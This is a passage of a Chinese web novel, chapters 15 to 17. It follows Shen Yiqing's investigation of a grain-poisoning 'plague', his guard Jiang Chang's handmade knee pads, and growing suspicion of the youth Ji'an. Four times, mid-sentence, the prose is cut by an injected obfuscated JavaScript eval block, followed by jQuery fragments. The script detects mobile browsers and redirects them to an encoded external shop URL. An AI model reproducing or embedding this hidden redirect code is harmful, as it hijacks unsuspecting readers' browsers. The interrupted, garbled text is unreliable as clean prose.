沈沂清松开寄安的手,语气带着几分无奈,并无谴责的意思:“你不该动手的,陈顺向来睚眦必报,他今日记住了你的样子,今后必定会找机会报复回来。”
寄安站在他面前,胸口微微起伏,看向他的目光带着几分执拗:“他那样说哥哥,难道就任由他羞辱?”
沈沂清抬手取下幂篱,不知想到什么笑了一下:“放心,他还欺负不到我。”
与此同时,成衣铺里的陈顺正暴跳如雷
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521288|203320||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,可骂着骂着,突然觉得浑身发痒。他抬手一挠,裸露的胳膊上竟冒出一片接一片红疹子,密密麻麻,看着骇人。紧接着脖子、脸颊也开始发痒,越挠越严重。
“痒死老子了!这是什么鬼东西!” 陈顺又抓又挠,疼得直咧嘴。
沈沂清捻了一下指尖残留的毒粉,心想陈顺一段时间内应该没法来找他们麻烦。
这毒粉是他偶然间兴起所制,最初是给府上女眷防身用的,虽不致命,却能立刻让人奇痒无比,红疹五日不消,足够让歹人吃一番苦头。
“好在你们方才没有离太近,否则就要和他一样沾上这些毒粉了。”
寄安一看到他指尖的粉末,瞬间明白了一切,表情却并未因此变得多好。
陆柱忿忿道:“还是少爷有办法,那些人平日里就知道恃强凌弱,活该好好教训一顿!要我说这些毒粉都算轻了的,应该让他们也尝尝被人欺辱的滋味!”
“你啊。”沈沂清莞尔,让对方陪他再去前面逛一逛,半途给买了一包杨梅糖吃才终于不气前面的事了。
想到寄安和陆柱一般大的年纪,沈沂清也想哄一哄他,问有没有想吃的零嘴,都给买。
寄安显得有些心不在焉,说他没吃过糖,“哥哥不用特地给我买。”
“没吃过那更要买了。来,张嘴。”寄安听到后半句几乎下意识照做,沈沂清快速捏了一块 胶牙饧送进他嘴里,“尝尝看,好不好吃?”
寄安嚼了两下,咽不下去,脸上表情终于有所变化,“有点黏牙。”
“黏牙就对了。”沈沂清狡黠地笑,“给嘴巴找点事做,不然老板着一张脸。”
说完他就和老板又要了一包糖,里面除了 胶牙饧还混着其他几种孩子们爱吃的。
三人在街上逛了大半日,回府时手上都拎着些物什,纸包锦盒的,瞧着便知收获不少。
跨进府门时,沈沂清瞧见寄安那根发带上似乎绣着金丝卷草纹,眸光微顿,刚要开口唤住人,前院候着的蒋常见他回来,正好往这边走过来。
沈沂清心头了然对方有话要说,便将手里的东西递向身旁两人,“你们先进去。”待两人应声走远,才领着蒋常往游廊去。
四下无人,蒋常回禀:“公子,这几日我带人搜遍了南隰山,对方像是早有防备,沿途半点痕迹都没留,也没寻着可疑的人。”
沈沂清听毕沉默了半晌,淡淡颔首:“我知道了,先继续派人盯着,有任何异样随时来报。”
待蒋常应下准备离开。
“等等。”沈沂清又叫住他,“再去找个画匠见一见寄安,行事小心点,别让他知晓。你们这趟拿着画,问问周边猎户和樵夫这些年可曾在山上见过他。”
蒋常明白沈沂清这是对寄安的身世起疑了,非常爽快地接下了这份差事,“是。”
15. 护膝
雨断断续续下了好几日,到处都潮润润的。
一早外面就传来嘈杂声,更是扰得人做什么都无法专心。
沈沂清问过陆柱才知道镇上最近传开一种疫病,不少人出现腹泻、发热的症状,大人尚且还能撑上一撑,孩子们可没有那么好的身体,已经昏迷了好几个,眼看快要不行。
“为何不送医,反倒来沈府门前聚集?”
“这……”陆柱答不上来了,他也是刚刚赶过来,正打算让那些人别再聚在这儿。
这时寄安走进来,“因为镇上没几家医馆敢为他们诊断治疗。”
他将自己知道的告诉了沈沂清。
疫病最早出现于半月前,只是当时范围较小,没有引起上边重视,真正传开就在这几日。而那些医馆的郎中并非个个铁石心肠,直至其中一名郎中被官府的人关进大牢中,这些医馆才开始拒收感染疫病的患者,但具体经过是什么,碍于时间有限,寄安还没来得及查清楚。
镇上的郎中不愿意帮忙医治,而病患人数还在不断上升,许多人实在没办法了,才想着来沈府碰碰运气——沈府的姜夫人擅长医术,早些年会在镇上开设义诊,当年接受过恩惠的人还记得这件事。
沈沂清听完,对陆柱说:“让人出去传话,说沈府近日不见客,让他们都散了,若是遇到寻衅滋事的,直接赶走即可,但千万别伤到人。”
“另外,这事暂时别告诉我阿娘,先找个理由搪塞过去,以免她太过操劳又累垮了身子。”
随即又拜托寄安帮忙去调查那些郎中不敢接收患者的真正原因,此事与官府牵连,他觉得其中没有那么简单。
“万事小心,若是遇到不顺,就说你是替沈府过来办事的,他们念及你的身份,不会轻易伤了你。”
寄安很爽快地答应了。
等他离开,沈沂清也没心思继续待在府上,想到陆柱说门外还有不少孩子,回屋换了身不那么起眼的朴素衣裳,喊上从南隰山回来的蒋常陪同,戴了幂篱从偏门出去。
姜慧蓉早年刚到绥灵镇时,仍旧坚持像父亲一样定期开设义诊,分文不取,后来因为不得不深居沈府主事逐渐停了义诊,但进行义诊的地方这么多年都没有拆除,而是被另一名自称江湖郎中的人接手了。
地方设在镇西,除了不盈利与普通医馆无异。连日来求医的人不想放弃一丝一毫的希望,挤挤挨挨围在附近,今日终于等到郎中出现。
沈沂清搭着脉,抬眼望去,求医的皆是面黄肌瘦的百姓,连续诊断了好几名患病,症状竟都与几日前他在镇口救下的那名孩童分毫不差。
这怕不是什么疫病,只是骤然病倒的人多了,才引起恐慌。
他压下心头猜测,温声安抚争先恐后围上来的人:“诸位不必惊慌,这病传染性极低,好好调治,尽可痊愈。”
话音刚落,几个蛮横之人为了抢先,直接侧身从人群缝隙里蛮横插队,硬生生挤开老老实实排队的老弱,引得旁人怒骂抗议。
本就拥挤的人群顿时乱作一团,推搡间有人撞了沈沂清,他身子微晃,头上遮面的幂篱应声落地,一张清绝的脸暴露在人前。
“放肆!”守在侧旁的蒋常厉声呵斥,手按剑柄,青锋瞬间出鞘半寸,冷冽的寒光晃得人眼晕。
闹事的男人僵在原地,周遭的人也被这阵仗慑住,方才的混乱顷刻平息,无人再敢轻举妄动,倒是都看向了沈沂清。
镇上人人皆知沈府大公子貌丑难言,自幼身染腿疾,却极少有人得见真容。
可眼前之人身姿清瘦挺拔,眉眼温润清隽,墨发松束,纵是一身素衣也能衬得周身不染尘俗。
众人望着这副清绝俊秀的模样,皆是愕然心惊,全然无法将这般风华绝代的人,与传闻里丑陋残缺的沈大公子联想到一处。
……
寄安回府时得知沈沂清去了镇西,等他带着调查结果赶来,看到就是蒋常正伸手揽住沈沂清的腰,将人稳稳抱在臂弯里的模样。
他周身的气压骤然低了下来。
少年尽管瘦削却身形高挑,沈沂清自然也发现了他,让蒋常先松开自己,安抚完众人的情绪后捡起幂篱重新戴上,“诸位不必心急,我既今日来了这里,就一定会为所有人看病。”
得了保证,许多人才敢放心。
义诊持续了近六个时辰,药材俱是蒋常联系沈府家丁去镇上药铺秘密调来。沈沂清在此期间滴水未进,嗓子早已干涩得厉害,胃部也开始有些吃不消,给病人把脉的手微微发抖。
终于撑到看完最后一个病人,沈沂清正想找寄安,面前先递过来一杯热茶。
寄安在沈沂清忙着的间隙回了趟沈府。
他从食盒中取出还热乎的菜布好,让沈沂清先用一点,然后一边看着他吃,一边说了自己今日调察的结果。
最早被抓进大牢里的郎中罪名是妖言惑众,那时候镇上已有不少人感染“疫病”,有位郎中在接诊过几名病患后愈发感到不对劲,确定这并非令人闻风丧胆的瘟疫,而是粮毒引起的病症,于是找到官府的人拜托帮忙查明源头,哪知却遭诬陷妖言惑众。
“你这死老头,休要在这胡说八道!这些粮食都是大家伙正儿八经种出来的,怎么可能有毒!”
那名郎中也因此被关进大牢。
“……后来又有几个郎中想解决此事,也都被抓了进去。官府的人随即下令不许再散播粮毒的谣言,镇上就没多少郎中敢在这时候接纳病患了,怕招来麻烦。普通百姓不知其中真相,绝大多数只能偷偷另找郎中求药。”
听寄安提起粮毒,沈沂清此前的猜测得到了更进一步证实。
现在要想查清粮毒的来源,怕是指望不上官府了,他派人去找那日镇口的妇孺,同时询问那些前来义诊的人此前都食用过什么,总结出几种出现频率最高的食物,又分别吩咐人去暗中调查。
夜色浸满庭院,寄安吹灭灯,从沈沂清的房里退出来,行至院子西南角时,他忽然停了下来。
面前的屋门虚掩着,漏出一抹昏黄的烛火,蒋常正背对着门坐在案前,脊背微躬,肩头绷着一道弧度。
他面前摊着些零碎的铜片与鹿皮,手里捏着一柄小巧的刻刀,指尖起落间极是专注,竟没察觉屋外立着的人。
-
一入了夏,雨水来得更加凶猛频繁,天气逐渐炎热起来,暑气却裹着湿意黏在窗棂上,屋里形成密不透风的蒸笼,潮气沉甸甸闷在各个角落。
每年这个时候,沈沂清的腿疾十分难捱,时常引发膝疼,夜里总难睡上一个好觉,连白日的正常行动都会受到影响,后来戴上特制的护膝才好受些。
过去这护膝沈沂清磨坏了三四副,每一次都是蒋常替他重新准备,后来蒋常离开绥灵镇的数年里,沈沂清就让陆柱去帮他买新的,却总没有之前蒋常给的戴得舒服,没想到时至今日还能再收到。
护膝的用料极是考究,外层取上等软鞣鹿皮,防水耐磨又极富韧性,边缘以暗纹云纹锦缎滚边,针脚齐整,不见半分毛糙。内里铺着白羊绒与丝
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521289|203320||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
棉,贴肤温润不闷汗。两侧缝有加固软骨,隐于面料之下,弯折自如,行动间毫无滞涩。
沈沂清在案前回了沈青晚寄来的信,笔尖刚落下最后一个字,膝头便猝不及防传来一阵酸麻钝痛。他身子微倾,抬手按在了膝弯处,指尖轻轻揉着,衣摆被动作带得微掀,衬里那只鹿皮护膝的边缘便露了出来。
门扉推开时他未抬头,直到一道熟悉的身影立在案前,才抬眼撞见寄安微妙的目光。
那视线正凝在他膝头的护膝上,沈沂清瞥见他手中攥着个素色漆器盒,该是装着缓解疼痛的药膏,只是他指节绷得泛白,眼底凝了层沉沉的冷意。
书房里只剩二人,寄安径直走到他身侧,弯腰俯身,指尖精准捏住那护膝的羊皮边缘,语气听着平平静静:“这护膝是蒋侍卫做的吧?蒋侍卫真是手巧,连哥哥膝盖的弧度都贴合得分毫不差。”
沈沂清闻言微怔,掌心覆上自己的膝头,“他亲手做的吗?”
寄安看他全然不知情的模样,将几日前夜里路过西南角撞见的事情说了。
“我也是无意间瞧见的,那时候还纳闷蒋侍卫怎么如此晚还不休息,原来是为了给哥哥做护膝。”
沈沂清听罢,半晌没再说话,只那捏着护膝的指尖顿了顿。
“原来是这样……”
“他和我少时相识,知道我腿上的毛病,过去我还以为这护膝是从镇上买来的,叫人找遍了却都没找着一样的。”
寄安帮他取下护膝,卷起裤腿,从漆器盒中挖出一块药膏用掌心捂化,“真羡慕蒋侍卫,不像我,连为哥哥采药这种小事都做不好,最后还得麻烦哥哥来救我,否则死在那里大概永远都不会有人发现。”
掌心贴上膝头时,沈沂清才突觉对方双手的温度高得惊人。
舒服归舒服,却让他想起半月前在南隰山上,那个冒充山神的家伙也是这般握住他的膝盖。
寄安指腹压在沈沂清膝盖的穴位,为他轻轻按摩着,话锋一转,“不过知道是一回事,这般体贴伺候又是另一回事。哥哥,你是主子,他是侍卫,私下给你做贴身物件,是不是不太好?”
这话说的,蒋常给他做的是护膝,又不是赤色鸳鸯肚兜。
沈沂清皱眉反驳:“他只是忠心,怕旁人做的不合我意,你别胡思乱想。”
寄安哦了一声,幽幽道:“可是他还藏着掖着换了一次又一次。”
沈沂清听出他话里有话,正了神色,“你想说什么?”
寄安欲言又止,“只是意外发现一些东西,担心哥哥知晓后会同我生气,或者怪我小肚鸡肠,所以我也不知道该不该告诉哥哥。”
沈沂清沉默片刻,“放心,我不生你的气。”
听见这如同特赦令的话,寄安才去取来一个锦盒,打开后,里面竟是十副一模一样的软鞣鹿皮护膝,边缘的针脚都与沈沂清手里这副别无二致。
沈沂清变了脸色,“这东西你从哪找来的?”
如果说方才得知蒋常亲手为他制作护膝,尚且能称为衷心,那么锦盒里的十副护膝则明显超过了衷心的界限。
这样一副顶好的护膝,即便是单人熟练工匠来做,最少也得用上半年时间。
可蒋常重新回到沈府还不到三个月。
“第二日我去找蒋侍卫想要请教一些问题,结果蒋侍卫不在,倒是不小心在他住处发现了这些。”
寄安将锦盒放在桌上,一语道破:“哥哥说他是忠心,可哪有侍卫会给主子备这么多贴身护膝?”
16. 枕梦
蒋常按照沈沂清吩咐的,从镇上找了名老画匠,带着他偷偷见了寄安一面。
这老画匠厉害之处就在于过目不忘的本事,凡是见过一眼的人,都能在三日内画出,且相似程度在八分往上。可以说,只要这世上不存在两个长得一模一样的人,都能凭着这画像去找到人。
蒋常刚从老画匠那取到画,半路下起了雨,他出的急没带伞,只能先将画藏进怀里,加快脚步赶回去。
到了沈府,正准备打开检查是否被雨水淋湿,瞧见有人,又重新将画卷起。
“蒋侍卫。”面前的少年开口,视线只淡淡扫了一眼那幅合上的画卷便移开,似乎并不关心。
蒋常看出对方是专程在这等着他回来,“寄安小兄弟找我有何事?”
寄安扔过来一个锦盒,说:“你只是个侍卫,主子的贴身之物,不是你该碰的。”
蒋常就算不用打开都知道里面装的是什么,脸色变得难看,“你搜我房间?”
他抱着锦盒的手收紧,“是公子的意思吗?”
寄安没有正面回答,警告他:“我想要是哥哥发现你屋里藏了那么多护膝,无论你是出于什么目的,就凭这番‘用心’,都会感到为难吧。”
这十副护膝的确是蒋常特意为沈沂清制作的,攒了有几个年头,但也只是怕日后损坏的太快,想着多做一些备用,能让公子一直用着合心意。
他很是清楚,沈沂清最不愿多麻烦旁人,从不让自己陷入各种纠葛中。
若一个人对他的好超过那道“红线”,便会逐渐疏远与对方的关系,所以他才一直未将护膝的真实来历告知对方。
他对寄安说:“多谢提醒。”语气却不像真感激。
蒋常将锦盒带走了,知道这些护膝后面多半是用不上了。
-
“入了这城门便是鄂阳地界了,他娘的,总算到地方。”
同行的伙计甩了甩脖子,喘着粗气开口,一旁的王二正牵着骡马,连日北上赶路送货,风尘仆仆,脸上早已满是疲惫。
他闻言抬眼,刚要应声,目光却骤然顿住,停下了脚步。
“怎么了?” 伙计见他失神,顺着他的视线望过去。
街道旁的青石路上,正缓步走来一行人。为首那姑娘生得一副极好容貌,一身鹅黄罗裙裁得合体,日光落在裙衫上,明媚得像暮春最温柔的暖阳。
她身侧跟着两人,一人是低眉顺眼的青衫丫鬟,举止温顺恭谨。另一侧之人截然相反,束发劲装,眉眼冷冽英气,腰间悬着一柄长剑,周身自带几分凛然侠气,寸步不离护在黄衣姑娘身侧,目光警惕扫过往来路人。
三人并排往这边走过来,王二没忍住多看了几眼走在中间那姑娘,越瞧越觉着眼熟,心下犯起嘀咕:沈家小女不是送上山做祭祀新娘了吗,怎么会叫他在这遇上?
清点完货物没问题,王二就立刻动身回了绥灵镇,几日后吃茶和张屠户唠嗑,嘴碎提了句这看见的怪事。
话音刚落,坐在斜角里的男人攥着茶碗的手猛地收紧,碗底砰一下砸在桌面,脸上扭曲出道狰狞的笑。
这五日来他浑身瘙痒难耐,找了好几个大夫来都看不出病症所在,害得他抓得浑身是疤才堪堪褪去。
他早疑心是沈沂清搞的鬼,只是没抓到把柄整他一通。
现在不就送上来一个?
陈顺起身,回头冲人狠声吩咐:“给我派人上山去查一查。”
沈青晚可是祠祝与山神通天后定下的祭祀新娘,那日镇上不少人有目共睹,这要是查明其中有什么猫腻,便是对山神的亵渎不敬,到时他定要沈沂清好看!
……
经过两日的调查和追溯,沈沂清基本可以确定那些引起粮毒的霉米来自官府的粮仓。
绥灵镇是南方的粮食集散地之一,只是尚不清楚交上去的那些粮食为何会重新流进民间,又是如何从今年新米变成的霉米。
习惯有时是很可怕的,沈沂清的腿疼又上来了,下意识开口想让一旁的蒋常帮他调整一下护膝,蒋常却没有再像之前无有不从地上前。
反而后退半步,恭敬地说:“公子,属下是侍卫,这些琐事应交由内侍打理,属下不敢逾矩。” 说着,便躬身退了出去,说还有其他事情要去处理,连看都不敢再多看沈沂清一眼。
沈沂清愣在案前,看着人直至消失,膝头的疼痛混着心里的纳闷。
当然,还有一丝不可置信的委屈。
他从没将对方当作下人,只是经过这段时间的相处,让他渐渐找回了过去可以依靠蒋常的时日,那时候的他们更像是朋友,却没想到对方如今主动提出同他划分界限,他还以为……
沈沂清及时止住不再往下想了。
也是,毕竟都分开了那么多年,他也早就习惯了一个人解决问题不是吗,怎地今日反倒矫情起来了。
他用了几秒调整神情,“别躲着了,你进来吧。”
已经站在门外有一会的寄安便走进来,说:“哥哥我不是故意要偷听的。”
沈沂清没有怪他。
他在沈沂清面前蹲下身,亲自为他调整护膝,指尖带着温热的暖意:“不过哥哥你看,他自己都知道分寸了。旁人再好,也终究是外人,怕污了自己的前程,不敢真心待你。”
“只有我,才敢毫无顾忌地追随你,也只有我,能这般贴身照料你。”
说着,他将脸贴到沈沂清大腿上,“以后除了给哥哥研磨,我也可以为哥哥暖膝、按穴。”
沈沂清没有立即说好,分明知道对方是在刻意讨好他,却意外地不讨厌。
他想应该还是对方这张脸占了主要功劳,才短短半月就已经脱胎换骨,想必再过个三两年,就要长成一副能祸害不少人的妖孽模样了。
寄安觉出沈沂清的走神,眼睛直勾勾地看着人,“哥哥,今后就让我来做吧。”
沈沂清说:“只要你不嫌麻烦。”
寄安指尖还轻抵着沈沂清的腿,眼尾先弯起,“哥哥给了我第二次生命,如今只是这点小事,当然不会嫌麻烦。”
-
当晚沈沂清做了一个梦。
他又回到了山神祠,身上一袭大红嫁衣,头戴遮掩住绝大部分视线的盖头。
有人走进来,想到自己之前没能看清对方的样貌,沈沂清这回很快就将手伸向了盖头,却意外地扯不下来。
对方离得越来越近,脚尖进入视野的刹那,沈沂清被推着按倒在了供桌上。
烛盏猝然翻倾,贡品滚落一地。
熔蜡混着星火泼在桌角的流苏上,同时有什么很烫的东西缠了上来,收紧的一瞬间,沈沂清不可控地抖了起来,大腿肌肉发生痉挛。
如果可以,沈沂清希望永远都不会和对方扯上关系,他的名字永远不会出现在他口中。
“……清清,你是我的。”对方贴在耳畔,气息缠着凉薄的哑意,指尖扣着沈沂清的后颈往怀里按。
另一只手毒蛇似的向下游走,察觉到他想做什么,沈沂清再也无法保持冷静,“放开……嗯——!”
火舌飞快卷上供桌,干裂的木纹滋
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521290|203320||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
滋作响,腾起的火光愈燃愈烈。
沈沂清瞬间惊醒。濡湿的中衣贴在身上,黏腻得让人发慌。
窗外的晨露还凝在竹帘上,带着几分凉意渗进窗缝,梦里的场景依旧清晰得可怕。
那被镇民传得神乎其神的山神,将他牢牢锢在怀里,灼热的指尖捏着他的下颌,一遍遍提醒着他:“你躲不掉的。”
类似的梦沈沂清已经不是第一回做了。
难道真是替嫁亵渎山神带来的警示?
沈沂清正要唤陆柱进来更衣,门帘就被轻轻挑起。
“哥哥你醒啦?”少年清朗的声音先一步落进耳里,手里端着一盆温水,走到床边时,目光不经意扫过沈沂清苍白的脸色,“哥哥脸色怎么这么差?是夜里没睡好?”
他说着,放下水盆,伸手想去探沈沂清的额头,指尖刚要触到皮肤,却被沈沂清偏头躲开了。
沈沂清自己都惊愕这突如其来的抗拒。
寄安指尖那抹滚烫靠近时,竟和梦里山神带给他的感觉如出一辙。
他定了定神,压下心头的异样,淡淡道:“无事,许是夜里贪凉,受了些寒。”
寄安转身去拧帕子。
“今日怎么是你,陆柱呢?”沈沂清问。
寄安解释:“他昨夜吃坏了肚子,担心今天伺候不好哥哥,临睡前找到我,希望我能帮忙一日。我看他实在不方便,就答应下来了。”
他把温热的帕子递过来,笑着说:“哥哥快擦擦汗吧,不然该着凉了。我今早还去膳房炖了山药排骨汤,解乏的,一会端过来。”
沈沂清接过帕子,指头无意扫到少年的手背,又是一阵令人心悸的烫。
他不动声色打量着寄安。
明明前阵子给他买了不少好衣裳,今日却还穿着一身粗布短打。头发用红色发带高高束着,露出光洁的额头,一双眼睛清澈得像山涧的溪水,瞧着人畜无害。
可不知为何,沈沂清总觉得这双眼睛深处,藏着些他看不懂的东西。
“对了哥哥,” 寄安凑近了些,带着几分天真的好奇,“我中间起夜,好像听见哥哥房里有奇怪的动静,还以为是进了贼,扒着窗缝瞧了瞧,却只看见哥哥睡得不安稳,眉头皱得紧紧的,嘴里还念叨着什么……”
沈沂清心头一跳,手里的帕子差点掉在地上:“我念叨什么了?”
寄安想了想,“好像是……‘放开’?还是‘别碰我’?记不太清了。”
“哥哥莫不是做噩梦了?”
沈沂清下颌线轻轻绷紧。
他在梦里的确是这么喊的。
可寄安的住处离他隔着一个院子,怎么会听得这般清楚?就算是起夜,也没有大老远绕到他这里来的道理。
不等他细想,寄安又弯下腰,捡起他掉在榻边的外袍。那外袍是锦缎做的,只是过去一夜,就变得皱巴巴的,领口的位置凝着几缕浅黄偏白的印记,不是水渍那种通透的湿痕,反倒像干涸后凝固的浆状残留。
寄安拎着外袍的一角,手指拂过那点东西,眼神微不可察地暗了暗,随即又恢复那副纯良模样,“哥哥衣裳上这是什么?难道是用膳时候不小心溅上去的??”
沈沂清似乎也想起什么,喉结滚动了一下,强装镇定地接过外袍,“许是吧。”
寄安看着他紧绷的侧脸,眼底的笑意深了深,却没再说话,转身去端来山药排骨汤,脚步轻缓,像踩在云絮上一般,悄无声息。
沈沂清盯着他的背影,握着外袍的手指收紧。
寄安,你究竟是谁?
17. 根源
另一边,蒋常带着人在南隰山双管齐下,一边彻查假冒山神的踪迹,一边拿着画像核实少年的身份,几番比对下来,竟与少年自述的家世、过往分毫不差,南隰山上的确存在着这么一个人。
可正是这份“无懈可击”,反倒让蒋常心头的疑云越聚越浓,总觉哪里透着违和,于是带着画像往山周边的人家再探。
他从一名老樵夫口中得了意外消息:“十几年前呐,我在山坳里见着个孤苦孩子,模样跟你说的差不离,可怜见的,我还舍过他几回干粮。”
蒋常眸光一凝,当即掏出画像递过去:“老丈您瞧瞧,当年见的可是这个孩子?”
老樵夫枯瘦的手指抚过纸面,眯眼端详半晌,叹道:“哎哟,年头太久,记不真切了,但眉眼间确实有几分像,那孩子当年看着也就十五六来岁的光景。”
这话犹如一道惊雷炸在蒋常心头。
如今已经过去十余年,当年那名樵夫都已经满头花白,脊背佝偻,那名孩子是如何做到仍保持着少年人的模样?
……
几日过去,放出去调查的两拨探子也相继回来了。
待听到山神祠内空无一人、身处鄂阳的女子正是沈沂清的胞妹沈青晚时,陈顺脸上的笑意再也克制不住,最后索性大笑出声,指尖重重叩了下桌面,嘴角扬得极高。
好啊,沈沂清那瘸子真是好大的胆子,居然为了一己私欲,不惜亵渎山神做出找人替嫁之事。
“既然这位好阿兄如此煞费苦心,那我们就去帮他一把!”
-
“府上最近不缺人手帮忙。”
沈沂清看着面前的人,惊讶之余还有担忧,“怎么突然就回来了?”
沈青晚在搀扶下从马车下来,“我是听说阿娘病倒了,才马不停蹄立刻赶回来的。”
“阿娘她还好吗?”
在看到沈青晚没有知会一声便匆忙赶回,沈沂清便意识到不对劲了,现在听到她这话,更是确定了心中猜想。
看来已经有人知道他找人替嫁并将晚晚送走的事了。
“阿娘她很好,”沈沂清安抚她道:“只是前段时日因为心急有些上火罢了,如今已经好全,你不用担心。”
“那阿兄你怎么……”沈青晚说到一半愣住,似乎也觉察出其中的怪异。
她是收到沈沂清的来信,信中说阿娘病重了危在旦夕,她才和阿远连夜动身往回赶的,生怕阿娘出了意外连最后一面都见不到,这一路连休息都不曾有片刻。
但现在冷静下来仔细一想,那信的字迹并不如阿兄以往写给她的工整,语气也不像。
怪她,一时心急乱了分寸才没有发现这些明显的漏洞。
再开口时沈青晚也跟着不安和紧张起来,“阿兄,我这次回来是不是给你惹麻烦了?”
沈沂清失笑,摸了摸她的发顶,让她不用害怕,“你永远是我最爱的妹妹,哪里有给我惹麻烦一说。”
沈青晚松了口气,看向方才搀扶她下马车的人,“对了阿兄,给你介绍一下,这是我在路上结识的朋友,叫简凝远,因为担心我会被人欺负,便陪着一起回来了。”
一旁站着的女子劲装裹着利落身段,腰束银纹宽带,悬一柄墨鞘短刃,乌发高束成利落马尾。眉锋冷峭如裁,抬眼时眸光扫过,自带一股生人勿近的凛冽。
在沈青晚话音落下后,她向沈沂清微微颔首算是打招呼,等再看回前者时眉眼间多了些放松。
简凝远的存在沈沂清其实是知晓的,说是路上结识的朋友,但更准确一点来说,是沈青晚在半道救下的。
母亲和外祖父皆精通医术,沈青晚自然不可能完全不知,只是她从小就对这方面提不起多少兴趣,学会的也都是些皮毛功夫。
万幸这些足够她用了。
沈沂清私下派人调查过简凝远的身份,是江湖中人,虽不是每天过着刀尖舔血的日子,但替人办事,这么多年也肯定留下了仇家。
说实话,沈沂清不太放心,若非妹妹喜欢此女子,他更希望她们之间少接触的为好。
现在人都带回来了,为了不叫沈青晚伤心,他也不好做出赶人走的举动,只要简凝远能够不伤害晚晚,他倒可以继续睁一只眼闭一只眼。
“阿娘许久不见你,想是很思念,既然回来了,这几日就在府上好好陪一陪她吧。”
沈青晚并不迟钝,听出阿兄这话里有保护她的意思,当即听话地点头保证,“阿兄你放心好了,我一定不会乱跑,何况还有阿远在,她很厉害的。”
-
大白天的,镇口的丧锣便敲得令人碎心。
最先染疫的张老丈没熬过晌午,抬出来时尸身溃烂得难辨模样。
天气炎热,腥腐气很快就在周围传开,恐慌像疫病一样,爬满了在场每个人的眉眼。
巷尾的茶寮早没了往日的热闹,几个面生的汉子缩在角落,声音压得低却能让旁人听清:“这病哪是寻常疫症?前阵子有人供奉山神的香都无故断截了,分明是山神爷动怒,降罚下来了!”
有人怯生生接话:“罚?可咱们没犯啥错啊……”
那汉子立刻挑眉,话里带刺:“没犯错?你仔细想想,上月送祭新娘入山,规矩可是半点错不得的。可我听说那姑娘开始是极不愿的,怎地后来一路安安静静?要不是换了人,就是上山后叫人救走了。”
“山神爷俯察万物,定是亲眼瞧见了,嫌祭礼不敬,才让疫病吞了镇子!”
这话像颗火星落进干柴,瞬间在镇民里炸开。有人扯着嗓子喊“定是祭女触了忌讳”,更有老妪跪在路边,对着南隰山的方向磕头,喊着要把祭女从山里请回来谢罪。
流言越传越凶,家家户户闭门不出,却总有人隔着门缝窃窃私语,字字句句都钉在那早已入山的祭祀新娘身上。
一名家丁混在人群里,见镇民已然被疑云缠心,悄悄返回府上,向主子复命:“人都信了,再过几日,他们自会逼着知县去寻那祭女,到时候……”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521291|203320||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“做得好。”陈顺嘴角勾出阴笑:“让他们闹,闹得越凶,这镇子的人心才越攥在咱们手里。”
县廨内,知县看着手中上报的“疫症”情况,眉头紧皱,嘴角绷紧。
他知道镇上突发的“疫病”绝非神明降罚,却抵不过满镇的流言与恐慌。
窗外的风声似乎都裹着百姓们求生的哭嚎,叫人心悸,竟让他也生出了一丝动摇:难道那日的祭礼真的出了什么差错?
可是山神爷分明亲口答应过他的,只要他将那些聘礼抬进沈府……
……
思来想去,沈沂清还是决定亲自去一趟官府的粮仓进行调查。
一来若是真有什么问题,他好及时掌握证据,二来沈府在镇上地位不低,即使被人发现,随便扯个理由,官府的人顾忌他的身份,也不敢立刻将他抓入大牢。
本想让蒋常陪同自己一块去的,他身手好,必要时能帮忙脱身,奈何对方近日一直待在山上,沈沂清实在等不到对方回来了,正琢磨去喊其他侍卫陪同时,迎面遇上了寄安。
寄安一眼看出沈沂清这是要出去,但还是问:“哥哥这是要外出?”
“嗯。”沈沂清没打算告诉对方,“有点小事需要处理,很快就回,你在府上……”
“我陪哥哥一起去吧。”寄安适时打断了他的话,不是询问,脸上带笑,语气却是不容人拒绝的意味。
沈沂清知道他不是最好的人选,但也没拒绝。
二人刚行至官府粮仓附近,便撞见里头乱作一团。
